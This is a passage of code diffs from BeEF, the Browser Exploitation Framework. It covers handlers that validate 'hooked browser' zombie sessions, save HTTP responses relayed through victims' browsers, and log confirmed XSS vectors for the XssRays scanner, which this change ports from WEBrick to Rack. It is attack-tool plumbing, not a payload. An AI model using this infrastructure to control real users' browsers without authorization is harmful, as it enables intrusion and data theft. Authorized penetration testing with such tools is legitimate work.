http_db.response_status_text = @data['results']['response_status_text']
http_db.response_port_status = @data['results']['response_port_status']
http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now
http_db.has_ran = "complete"
# Store images as binary
# see issue http://code.google.com/p/beef/issues/detail?id=368
if http_db.response_headers =~ /Content-Type: image/
http_db.response_data = http_db.response_data.unpack('a*')
end
http_db.save
end
end
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
# validates the request id
request_id = @data['cid'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
# validates that we have such a http request saved in the db
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
#print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]")
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
# validates that the http request has not be ran before
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete"
# validates the response code
response_code = @data['results']['response_status_code'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
#print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]")
# save the results in the database
http_db.response_headers = @data['results']['response_headers']
http_db.response_status_code = @data['results']['response_status_code']
http_db.response_status_text = @data['results']['response_status_text']
http_db.response_port_status = @data['results']['response_port_status']
http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now
http_db.has_ran = "complete"
# Store images as binary
# see issue http://code.google.com/p/beef/issues/detail?id=368
if http_db.response_headers =~ /Content-Type: image/
http_db.response_data = http_db.response_data.unpack('a*')
end
http_db.save
end
end
end
end
end

View File

@@ -24,7 +24,7 @@ module Xssrays
# We register the http handler for the requester.
# This http handler will retrieve the http responses for all requests
def self.mount_handler(beef_server)
beef_server.mount('/xssrays', true, BeEF::Extension::Xssrays::Handler)
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
end
end

View File

@@ -17,29 +17,29 @@ module BeEF
module Extension
module Xssrays
class Handler < WEBrick::HTTPServlet::AbstractServlet
class Handler
XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail
HB = BeEF::Core::Models::HookedBrowser
def do_GET(request, response)
@request = request
def call(env)
@request = Rack::Request.new(env)
# verify if the request contains the hook token
# raise an exception if it's null or not found in the DB
beef_hook = get_param(@request.query, 'hbsess') || nil
beef_hook = @request['hbsess'] || nil
raise WEBrick::HTTPStatus::BadRequest,
"[XSSRAYS] Invalid beefhook id: the hooked browser cannot be found in the database" if beef_hook.nil? || HB.first(:session => beef_hook) == nil
rays_scan_id = get_param(@request.query, 'raysid') || nil
rays_scan_id = @request['raysid'] || nil
raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Raysid is null" if rays_scan_id.nil?
if (get_param(@request.query, 'action') == 'ray')
if @request['action'] == 'ray'
# we received a ray
parse_rays(rays_scan_id)
else
if (get_param(@request.query, 'action') == 'finish')
if @request['action'] == 'finish'
# we received a notification for finishing the scan
finalize_scan(rays_scan_id)
else
@@ -47,25 +47,39 @@ module BeEF
raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Invalid action"
end
end
response = Rack::Response.new(
body = [],
status = 200,
header = {
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST'
}
)
response
end
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
def parse_rays(rays_scan_id)
xssrays_scan = XS.first(:id => rays_scan_id)
hooked_browser = HB.first(:session => get_param(@request.query, 'hbsess'))
hooked_browser = HB.first(:session => @request['hbsess'])
if (xssrays_scan != nil)
xssrays_detail = XD.new(
:hooked_browser_id => hooked_browser.id,
:vector_name => get_param(@request.query, 'n'),
:vector_method => get_param(@request.query, 'm'),
:vector_poc => get_param(@request.query, 'p'),
:vector_name => @request['n'],
:vector_method => @request['m'],
:vector_poc => @request['p'],
:xssraysscan_id => xssrays_scan.id
)
xssrays_detail.save
end
print_info("[XSSRAYS] Received ray from HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
print_debug("[XSSRAYS] Ray info: \n #{@request.query}")
print_debug("[XSSRAYS] Ray info: \n #{@request.query_string}")
end
# finalize the XssRays scan marking the scan as finished in the db
@@ -77,12 +91,6 @@ module BeEF
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
end
end
#assist function for getting parameter from hash
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
end